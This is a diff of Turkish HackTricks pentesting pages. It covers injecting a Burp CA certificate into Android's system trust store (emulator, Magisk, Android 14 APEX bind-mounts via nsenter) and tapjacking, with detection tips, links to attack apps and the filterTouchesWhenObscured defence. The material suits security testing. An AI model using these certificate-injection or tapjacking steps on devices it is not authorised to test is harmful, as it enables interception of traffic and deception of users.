* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da takip edin.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,30 +2,30 @@
<details>
<summary><strong>Sıfırdan ileri seviye AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Sanal Makinede
İlk olarak, Burp'tan Der sertifikasını indirmeniz gerekmektedir. Bunun için _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ adımlarını izleyebilirsiniz
İlk olarak, Burp'tan Der sertifikasını indirmeniz gerekmektedir. Bunun için _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ adımlarını takip edebilirsiniz
![](<../../.gitbook/assets/image (367).png>)
**Sertifikayı Der formatında dışa aktarın** ve **Android'in anlayabileceği bir forma dönüştürelim.** **AVD'deki Android makinesinde burp sertifikasını yapılandırmak için** bu makineyi **`-writable-system`** seçeneğiyle çalıştırmanız gerekmektedir.\
Sertifikayı **Der formatında dışa aktarın** ve **Android'in anlayabileceği bir forma dönüştürelim.** **AVD'deki Android makinesinde burp sertifikasını yapılandırmak için** bu makineyi **`-writable-system`** seçeneğiyle çalıştırmanız gerekmektedir.\
Örneğin şu şekilde çalıştırabilirsiniz:
{% code overflow="wrap" %}
@ -49,23 +49,23 @@ adb reboot #Now, reboot the machine
```
{% endcode %}
**Makine yeniden başlatıldığında**, burp sertifikası tarafından kullanılacaktır!
**Makine yeniden başlatıldığında**, burp sertifikası onun tarafından kullanılacaktır!
## Magisc Kullanımı
Eğer cihazınızı Magisc ile rootladıysanız (belki bir emülatör), ve **dosya sistemi salt okunur olduğu için** Burp sertifikasını yüklemek için önceki adımları takip edemiyorsanız, başka bir yol bulunmaktadır.
Eğer cihazınızı Magisc ile rootladıysanız (belki bir emülatör), ve **dosya sistemi salt okunur olduğu için yazılabilir olarak yeniden bağlayamıyorsanız**, önceki adımları takip edemezsiniz, Burp sertifikasını yüklemek için başka bir yol bulunmaktadır.
[**Bu video**](https://www.youtube.com/watch?v=qQicUW0svB8)da açıklandığı gibi şunları yapmanız gerekmektedir:
[**Bu video**](https://www.youtube.com/watch?v=qQicUW0svB8)da açıklandığı gibi yapmanız gerekenler:
1. **Bir CA sertifikası yükleyin**: DER Burp sertifikasını `.crt` uzantısına **değiştirerek** mobil cihaza **sürükleyip bırakın** ve İndirilenler klasörüne kaydedin, ardından `Bir sertifika yükle` -> `CA sertifikası` seçeneğine gidin
1. **Bir CA sertifikası yükleyin**: DER Burp sertifikasını `.crt` uzantısına değiştirerek mobil cihaza **sürükleyip bırakın** ve İndirilenler klasöründe saklanmasını sağlayın, ardından `Bir sertifika yükle` -> `CA sertifikası` seçeneğine gidin
<figure><img src="../../.gitbook/assets/image (50).png" alt="" width="164"><figcaption></figcaption></figure>
* Sertifikanın doğru şekilde kaydedildiğini kontrol etmek için `Güvenilir kimlik bilgileri` -> `KULLANICI` bölümüne gidin
* Sertifikanın doğru bir şekilde saklandığını kontrol edin, `Güvenilir kimlik bilgileri` -> `KULLANICI` bölümüne gidin
<figure><img src="../../.gitbook/assets/image (51).png" alt="" width="334"><figcaption></figcaption></figure>
2. **Sistemde güvenilir hale getirin**: Magisc modülünü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (bir .zip dosyası) indirin, telefonunuza **sürükleyip bırakın**, telefonunuzdaki Magics uygulamasına gidin, `Modüller` bölümüne gidin, `Depodan yükle`'yi tıklayın, `.zip` modülünü seçin ve kurulumu tamamladıktan sonra telefonu **yeniden başlatın**:
2. **Sistemde güvenilir hale getirin**: Magisc modülünü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (bir .zip dosyası) indirin, telefonunuza **sürükleyip bırakın**, telefonunuzdaki Magics uygulamasına gidin, `Modüller` bölümüne gidin, `Depodan yükle` seçeneğine tıklayın, `.zip` modülünü seçin ve kurulumu tamamladıktan sonra telefonu **yeniden başlatın**:
<figure><img src="../../.gitbook/assets/image (52).png" alt="" width="345"><figcaption></figcaption></figure>
@ -75,13 +75,13 @@ Eğer cihazınızı Magisc ile rootladıysanız (belki bir emülatör), ve **dos
## Android 14 Sonrası
En son Android 14 sürümünde, sistem-güvenilir Sertifika Yetkilisi (CA) sertifikalarının işlenişinde önemli bir değişiklik gözlemlenmiştir. Önceden, bu sertifikalar **`/system/etc/security/cacerts/`** dizininde bulunur ve kök ayrıcalıklarına sahip kullanıcılar tarafından erişilebilir ve değiştirilebilirdi, bu da sisteme hemen uygulanmasına olanak tanırdı. Ancak, Android 14 ile, depolama yeri **`/apex/com.android.conscrypt/cacerts`** dizinine taşınmıştır, bu da doğası gereği değiştirilemez olan **`/apex`** yolundaki bir dizindir.
En son Android 14 sürümünde, sistem tarafından güvenilen Sertifika Yetkilisi (CA) sertifikalarının işlenişinde önemli bir değişiklik gözlemlenmiştir. Önceden, bu sertifikalar **`/system/etc/security/cacerts/`** dizininde bulunur ve kök ayrıcalıklarına sahip kullanıcılar tarafından erişilebilir ve değiştirilebilirdi, bu da sisteme hemen uygulanmasına olanak tanırdı. Ancak, Android 14 ile, depolama yeri **`/apex/com.android.conscrypt/cacerts`** dizinine taşındı, bu da doğası gereği değiştirilemez olan **`/apex`** yolundaki bir dizindir.
**APEX cacerts yolunu** yazılabilir olarak yeniden bağlamaya yönelik girişimler başarısızlıkla karşılaşır, çünkü sistem böyle işlemlere izin vermez. Dizin üzerine geçici bir dosya sistemi (tmpfs) ile aşma veya kaldırma girişimleri bile değiştirilemezliği atlatmaz; uygulamalar, dosya sistemi seviyesinde yapılan değişikliklere rağmen orijinal sertifika verilerine erişmeye devam eder. Bu direnç, **`/apex`** bağının ÖZEL yayılma ile yapılandırılmış olmasından kaynaklanır, bu da **`/apex`** dizinindeki değişikliklerin diğer işlemleri etkilememesini sağlar.
**APEX cacerts yolunu** yazılabilir olarak yeniden bağlamaya yönelik girişimler başarısızlıkla karşılaşır, çünkü sistem böyle işlemlere izin vermez. Dizin üzerine geçici bir dosya sistemi (tmpfs) ile aşma veya kapatma girişimleri bile, dizinin değiştirilemezliğini atlatmaz; uygulamalar, dosya sistemi seviyesinde yapılan değişikliklere rağmen orijinal sertifika verilerine devam eder. Bu direnç, **`/apex`** bağının ÖZEL yayılma ile yapılandırılmış olmasından kaynaklanır, bu da **`/apex`** dizinindeki değişikliklerin diğer işlemleri etkilememesini sağlar.
Android'in başlatılması, işletim sistemini başlatırken aynı zamanda Zygote işlemini başlatan `init` işlemiyle gerçekleşir. Bu işlem, bu dizini diğer işlemlerden izole eden yeni bir bağlama ad alanı ile uygulama işlemlerini başlatmakla sorumludur.
Android'in başlatılması, işletim sistemi başladığında aynı zamanda Zygote işlemini başlatan `init` işlemi ile başlar. Bu işlem, uygulama işlemlerini başlatmakla sorumludur ve yeni bir bağlama ad alanı içeren özel bir **`/apex`** bağını içeren Zygote işlemini başlatır, böylece bu dizindeki değişiklikleri diğer işlemlerden izole eder.
Yine de, **`/apex`** dizinindeki sistem-güvenilir CA sertifikalarını değiştirmek isteyenler için bir çözüm bulunmaktadır. Bu, **`/apex`**'i ÖZEL yayılmasını kaldırmak için manuel olarak yeniden bağlamayı içerir, böylece yazılabilir hale getirilir. Bu süreç, **`/apex/com.android.conscrypt`** içeriğini başka bir konuma kopyalamayı, **`/apex/com.android.conscrypt`** dizinini salt okunur kısıtlamasını kaldırmak için bağlamayı kaldırmayı ve ardından içeriği orijinal konumuna **`/apex`** içinde geri yüklemeyi içerir. Bu yaklaşım, sistem çökmelerini önlemek için hızlı bir şekilde hareket etmeyi gerektirir. Bu değişikliklerin sistem genelinde uygulanmasını sağlamak için `system_server`'ı yeniden başlatmanız önerilir, bu da tüm uygulamaları yeniden başlatır ve sistemi tutarlı bir duruma getirir.
Yine de, **`/apex`** dizinindeki sistem tarafından güvenilen CA sertifikalarını değiştirmek isteyenler için bir çözüm bulunmaktadır. Bu, **`/apex`**'i özel yayılmasını kaldırarak yazılabilir hale getirmek için manuel olarak yeniden bağlamayı içerir. Bu süreç, **`/apex/com.android.conscrypt`** içeriğini başka bir konuma kopyalamayı, **`/apex/com.android.conscrypt`** dizinini kaldırmayı ve salt okunur kısıtlamasını kaldırmayı ve ardından içeriği orijinal konumlarına **`/apex`** içinde geri yüklemeyi gerektirir. Bu yaklaşım, sistem çökmelerini önlemek için hızlı bir şekilde hareket etmeyi gerektirir. Bu değişikliklerin sistem genelinde uygulanmasını sağlamak için, `system_server`'ı yeniden başlatmanız önerilir, bu da tüm uygulamaları yeniden başlatır ve sistemi tutarlı bir duruma getirir.
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -141,41 +141,41 @@ echo "System certificate injected"
```
### NSEnter üzerinden Bind-mounting
1. **Yazılabilir Bir Dizin Oluşturma**: İlk olarak, mevcut olmayan APEX olmayan sistem sertifika dizini üzerine bir `tmpfs` bağlanarak yazılabilir bir dizin oluşturulur. Bu, aşağıdaki komutla gerçekleştirilir:
1. **Yazılabilir Bir Dizin Oluşturma**: İlk olarak, mevcut olmayan APEX olmayan sistem sertifika dizininin üzerine bir `tmpfs` bağlanarak yazılabilir bir dizin oluşturulur. Bu, aşağıdaki komutla gerçekleştirilir:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **CA Sertifikalarını Hazırlama**: Yazılabilir dizinin kurulumunu takiben, kullanmayı amaçladığınız CA sertifikaları bu dizine kopyalanmalıdır. Bu, varsayılan sertifikaların `/apex/com.android.conscrypt/cacerts/` dizininden kopyalanmasını gerektirebilir. Bu sertifikaların izinlerini ve SELinux etiketlerini buna göre ayarlamak önemlidir.
3. **Zygote için Bağlama Bağlama**: `nsenter` kullanılarak, Zygote'un bağlama ad alanına girilir. Android uygulamalarını başlatma işleminden sorumlu olan Zygote, bundan sonra başlatılan tüm uygulamaların yeni yapılandırılmış CA sertifikalarını kullanmasını sağlamak için bu adımı gerektirir. Kullanılan komut şudur:
2. **CA Sertifikalarını Hazırlama**: Yazılabilir dizinin kurulumunu takiben, kullanmayı amaçladığınız CA sertifikaları bu dizine kopyalanmalıdır. Bu, muhtemelen `/apex/com.android.conscrypt/cacerts/` dizininden varsayılan sertifikaların kopyalanmasını içerebilir. Bu sertifikaların izinleri ve SELinux etiketleri uygun şekilde ayarlanmalıdır.
3. **Zygote için Bağlama Bağlama**: `nsenter` kullanılarak, Zygote'un bağlama ad alanına girilir. Android uygulamalarını başlatmakla sorumlu olan Zygote, bundan sonra başlatılan tüm uygulamaların yeni yapılandırılmış CA sertifikalarını kullanmasını sağlamak için bu adımı gerektirir. Kullanılan komut şudur:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
Bu, her yeni uygulamanın güncellenmiş CA sertifikaları kurulumuna uyacağını sağlar.
Bu, her yeni uygulamanın güncellenmiş CA sertifikaları kurulumuna uyacağından emin olur.
4. **Çalışan Uygulamalara Değişiklikler Uygulama**: Zaten çalışan uygulamalara değişiklikleri uygulamak için, `nsenter` tekrar kullanılarak her uygulamanın ad alanına bireysel olarak girilir ve benzer bir bağ montajı gerçekleştirilir. Gerekli komut şudur:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **Alternatif Yaklaşım - Yumuşak Yeniden Başlatma**: Alternatif bir yöntem, `init` işlemine (PID 1) bağlama işlemini gerçekleştirmeyi ve işletim sistemini `stop && start` komutlarıyla yumuşak bir şekilde yeniden başlatmayı içerir. Bu yaklaşım, değişikliklerin tüm ad alanlarına yayılmasını sağlayacak ve her çalışan uygulamayı tek tek ele almaya gerek kalmayacaktır. Bununla birlikte, bu yöntem genellikle yeniden başlatmanın rahatsızlığı nedeniyle tercih edilmez.
5. **Alternatif Yaklaşım - Yumuşak Yeniden Başlatma**: Alternatif bir yöntem, `init` işlemine (PID 1) bağlama işlemini gerçekleştirmeyi ve işletim sistemini `stop && start` komutlarıyla yumuşak bir şekilde yeniden başlatmayı içerir. Bu yaklaşım, değişikliklerin tüm ad alanlarına yayılmasını sağlayacak ve her çalışan uygulamayı tek tek ele almaya gerek kalmayacaktır. Bununla birlikte, bu yöntem genellikle yeniden başlatmanın rahatsızlığı nedeniyle tercih edilmemektedir.
## Referanslar
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) arasında
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,43 +2,46 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
- [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
- **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
- **Hacking püf noktalarınızı göndererek PR'ler aracılığıyla** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **Temel Bilgiler**
**Tapjacking**, **kötü niyetli bir uygulamanın** **kurban uygulamanın üzerine yerleştiği** ve kurban uygulamanın kullanıcı arayüzünü yanıltacak şekilde tasarlandığı bir saldırıdır. Kurban uygulamada gerçekleştirilen eylemleri kullanıcının farkında olmadan gerçekleştirmesine neden olur.
**Tapjacking**, **kötü niyetli bir uygulamanın** **kurban uygulamanın üstüne yerleştiği ve konumlandığı** bir saldırıdır. Kurban uygulamayııkça engellediğinde, kullanıcı arayüzü kullanıcıyı yanıltacak şekilde tasarlanmıştır ve kullanıcıyı etkileşime girmeye ikna etmeye çalışırken, etkileşimi kurban uygulamaya iletmektedir.\
Aslında, kullanıcının **kurban uygulamada gerçekten eylemler gerçekleştirdiğini bilmemesine neden olur**.
### Tespit
Bu saldırıya karşı savunmasız uygulamaları tespit etmek için android manifest dosyasında **dışa aktarılan aktiviteleri** aramalısınız (bir intent-filter'a sahip bir aktivite varsayılan olarak dışa aktarılır). Dışa aktarılan aktiviteleri bulduktan sonra, **herhangi bir izin gerekip gerekmediğini kontrol edin**. Çünkü **kötü niyetli uygulama da o izne ihtiyaç duyacaktır**.
Bu saldırıya karşı savunmasız uygulamaları tespit etmek için android manifestte **dışa aktarılan aktiviteleri** aramalısınız (bir intent-filter'a sahip bir aktivite varsayılan olarak otomatik olarak dışa aktarılır). Dışa aktarılan aktiviteleri bulduktan sonra, **herhangi bir izin gerekip gerekmediğini kontrol edin**. Bu, **kötü niyetli uygulamanın da o izne ihtiyaç duyacağı anlamına gelir**.
### Koruma
#### Android 12 (API 31,32) ve üstü
[**Bu kaynağa göre**](https://www.geeksforgeeks.org/tapjacking-in-android/), Android 12'den (API 31 ve 30) itibaren tapjacking saldırıları otomatik olarak engellenir. Bu nedenle, uygulama savunmasız olsa bile **saldırmak mümkün olmayacaktır**.
[**Bu kaynağa göre**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** Android 12'den (API 31 ve 30) ve üstünden itibaren tapjacking saldırıları otomatik olarak engellenir. Bu nedenle, uygulama savunmasız olsa bile **onu sömüremeyeceksiniz**.
#### `filterTouchesWhenObscured`
**`android:filterTouchesWhenObscured`** **`true`** olarak ayarlandığında, `View` başka bir görünür pencere tarafından kaplandığında dokunmaları almayacaktır.
**`android:filterTouchesWhenObscured`** **`true`** olarak ayarlandığında, `View` başka bir görünür pencere tarafından engellendiğinde dokunmaları almayacaktır.
#### **`setFilterTouchesWhenObscured`**
Özellik **`setFilterTouchesWhenObscured`** **true** olarak ayarlandığında, bu zafiyetin sömürülmesini önleyebilir, Android sürümü daha düşükse. Örneğin, bir düğme **kapalıysa otomatik olarak devre dışı bırakılabilir**:
Özellik **`setFilterTouchesWhenObscured`** **true** olarak ayarlandığında, bu zafiyetin sömürülmesini önleyebilir, özellikle Android sürümü daha düşükse.\
Örneğin **`true`** olarak ayarlandığında, bir düğme otomatik olarak **engellenebilir hale gelir** eğer engellenmişse:
```xml
<Button android:text="Button"
android:id="@+id/button1"
@ -51,13 +54,13 @@ android:filterTouchesWhenObscured="true">
### Tapjacking-ExportedActivity
En son **Android uygulaması** bir Tapjacking saldırısı gerçekleştirebilir (+ hedeflenen uygulamanın dışa aktarılan bir etkinliğini çağırarak) [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity) adresinde bulunabilir.
En son **Android uygulaması** bir Tapjacking saldırısı gerçekleştirebilir (+ hedeflenen uygulamanın dışa aktarılan bir aktivitesinden önce çağrı yapabilir) şurada bulunabilir: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
Kullanmak için **README talimatlarını takip edin**.
### FloatingWindowApp
Diğer etkinliklerin üzerine yerleştirilebilecek ve bir tıklama sahtekarlığı saldırısı gerçekleştirmek için kullanılabilecek **FloatingWindowApp**'i uygulayan bir örnek proje [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) adresinde bulunabilir (biraz eski, apk oluşturma konusunda iyi şanslar).
Başka aktivitelerin üzerine yerleştirilebilecek **FloatingWindowApp**'i uygulamak için bir örnek proje [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) inde bulunabilir (biraz eski, apk oluşturma konusunda iyi şanslar).
### Qark
@ -65,14 +68,14 @@ Diğer etkinliklerin üzerine yerleştirilebilecek ve bir tıklama sahtekarlığ
Bu proje artık bakımsız görünüyor ve bu işlev artık düzgün çalışmıyor gibi görünüyor
{% endhint %}
Muhtemel **Tapjacking** zafiyetlerini test etmek için kötü niyetli bir uygulama oluşturmak için `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` parametreleri ile [**qark**](https://github.com/linkedin/qark) kullanabilirsiniz.
Muhtemel **Tapjacking** zafiyetlerini test etmek için kötü niyetli bir uygulama oluşturmak için [**qark**](https://github.com/linkedin/qark) kullanabilirsiniz. `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` parametreleri ile.
Geliştirici, bir görünümün başka bir şey tarafından kapatıldığında dokunma olaylarını almayı seçebileceğinden, önlem oldukça basittir. [Android Geliştirici Referansı](https://developer.android.com/reference/android/view/View#security) kullanarak:
Geliştirici, bir görünüm başka bir şey tarafından kapatıldığında dokunma olaylarını almayı seçebilir, bu nedenle önlem oldukça basittir. [Android Geliştirici Referansı](https://developer.android.com/reference/android/view/View#security) kullanarak:
> Bazı durumlarda, bir uygulamanın, kullanıcının tam bilgi ve onayıyla gerçekleştirildiğini doğrulaması gerekebilir, örneğin bir izin isteği vermek, bir satın alma yapmak veya bir reklama tıklamak. Ne yazık ki, kötü niyetli bir uygulama, kullanıcıyı, amaçlanan görünümün amacını gizleyerek, bu eylemleri bilmeksizin gerçekleştirmeye çalışabilir. Bir çözüm olarak, çerçeve, hassas işlevselliğe erişim sağlayan görünümlerin güvenliğini artırmak için kullanılabilecek bir dokunma filtreleme mekanizması sunar.
> Bazı durumlarda, bir uygulamanın bir izin isteğini kabul eden, bir satın alma yapan veya bir reklama tıklayan kullanıcı tarafından tam bilgi ve onayla gerçekleştirildiğini doğrulaması gerekebilir. Ne yazık ki, kötü niyetli bir uygulama, kullanıcıyı, görünümün amaçlanan amacını gizleyerek, bu eylemleri yapmaya zorlayabilir. Bir çözüm olarak, çerçeve, hassas işlevselliğe erişim sağlayan görünümlerin güvenliğini artırmak için kullanılabilecek bir dokunma filtreleme mekanizması sunar.
>
> Dokunma filtrelemeyi etkinleştirmek için [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) yöntemini çağırın veya android:filterTouchesWhenObscured düzen özniteliğini true olarak ayarlayın. Etkinleştirildiğinde, çerçeve, görünümün penceresinin başka bir görünür pencere tarafından kapatıldığı her zaman alınan dokunuşları reddedecektir. Sonuç olarak, bir toast, iletişim kutusu veya başka bir pencere görünümün penceresinin üzerinde göründüğünde, görünüm dokunuşları almayacaktır.
> Dokunma filtrelemeyi etkinleştirmek için [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) yöntemini çağırın veya android:filterTouchesWhenObscured düzen özniteliğini true olarak ayarlayın. Etkinleştirildiğinde, çerçeve, görünüm penceresi başka bir görünür pencere tarafından kaplandığında alınan dokunuşları reddedecektir. Sonuç olarak, görünüm, bir toast, iletişim kutusu veya başka bir pencere görünümünün penceresinin üzerinde göründüğünde dokunuşları almayacaktır.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}

View file

@ -4,7 +4,7 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
@ -12,45 +12,45 @@ HackTricks'ı desteklemenin diğer yolları:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
